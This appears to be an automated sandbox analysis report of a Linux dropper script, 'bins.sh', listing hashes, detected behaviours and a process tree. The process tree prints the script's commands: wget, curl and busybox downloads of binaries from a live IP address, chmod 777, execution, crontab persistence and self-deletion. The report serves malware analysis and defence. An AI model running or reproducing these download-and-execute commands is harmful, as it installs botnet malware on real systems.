Analysis
-
max time kernel
149s -
max time network
151s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 11:22
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
fb03e426ca78a0af5cbbb68cbd6d8288
-
SHA1
1fe0eb6730f6a592203e0b7393a8f53f3cf24fa2
-
SHA256
ece31815664b056506b4ed6911c1b95be4cb14217e6de2ad20f21dc012614669
-
SHA512
d85aef9889248c5bf5fd8edefa1acd43852b01a8d0e8abd6dda3b414f758634ee1a632e1fa558036193f168f305c481f5047b29a204efea878197da37298085c
-
SSDEEP
192:8j4xKaBgsyu2y3mu06K6hVgTjX7C7S7DU7wvEpVKHHKhVgTj77C7S7DU7wQpVKH+:8j4xKaBgsI6K6hVgTjX2OUqYhVgTj72p
Malware Config
Signatures
-
Contacts a large (2205) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1503 chmod -
Executes dropped EXE 1 IoCs
Processes:
cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkjioc pid Process /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj 1504 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj -
Renames itself 1 IoCs
Processes:
cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkjpid Process 1505 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.QAJoio crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkjdescription ioc Process File opened for reading /proc/1642/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1697/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1549/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1634/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1735/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1611/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1676/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1576/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1668/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/29/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/988/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1626/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1652/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1725/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/32/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1624/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1528/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1625/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/3/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/173/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1531/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1535/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1677/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1701/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/170/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1061/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1733/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1759/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/672/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1546/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1664/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1741/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1761/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1766/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/30/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/166/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1773/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/539/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1703/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1550/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1644/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1670/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1717/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1720/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/176/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1163/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1659/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1335/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1516/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1568/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/137/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/171/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1578/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1627/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1239/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1487/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1742/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1569/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1621/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1755/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/28/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/307/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj File opened for reading /proc/1657/cmdline cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
wgetcurlbusyboxcQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkjrmpid Process 1496 wget 1501 curl 1502 busybox 1504 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj 1511 rm -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxcurlwgetcurldescription ioc Process File opened for modification /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj busybox File opened for modification /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d curl File opened for modification /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj wget File opened for modification /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1494
-
/bin/rm/bin/rm bins.sh2⤵PID:1495
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1496
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1501
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1502
-
-
/bin/chmodchmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj2⤵
- File and Directory Permissions Modification
PID:1503
-
-
/tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
- System Network Configuration Discovery
PID:1504 -
/bin/shsh -c "crontab -l"3⤵PID:1506
-
/usr/bin/crontabcrontab -l4⤵PID:1507
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1508
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1509
-
-
-
-
/bin/rmrm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj2⤵
- System Network Configuration Discovery
PID:1511
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d2⤵PID:1514
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d2⤵
- Writes file to tmp directory
PID:1515
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
12KB
MD5ef804f4ca633426c96308d957f89a9fb
SHA1dc0c615c3fdc88e3f6b1b32b9701eeb5d1a257c0
SHA2569bfc5f331f07dad53dc7ebb42b6d536972518285beba1a42a697f70fe0a1e84f
SHA512a7db7982c7148e608b85c3edbdf62a4f4a8a99eb6f82c6d2f4f9574e8b3879fe159f2826cd53b1a2143f4fe8f1964ac46b3acb8f6a6ffc5ef9f6e280e508996a
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD5723f8a34c528d4d22f3171038278e37f
SHA1535aae09059aea3c4500ef85e9ba97d821d0d536
SHA2564dbdacd58381e1df69e2c3154821c4e1df8e934ac2ea1cb21e3e02e9c2ed2ba4
SHA512bcb8d44614e9da0b0189904030434dea20e9ed934950edd1476923f26da78fedd8824c2174cc5183487ca483fbd38df8959f3c40110f29eb2d0a1598debfd6a3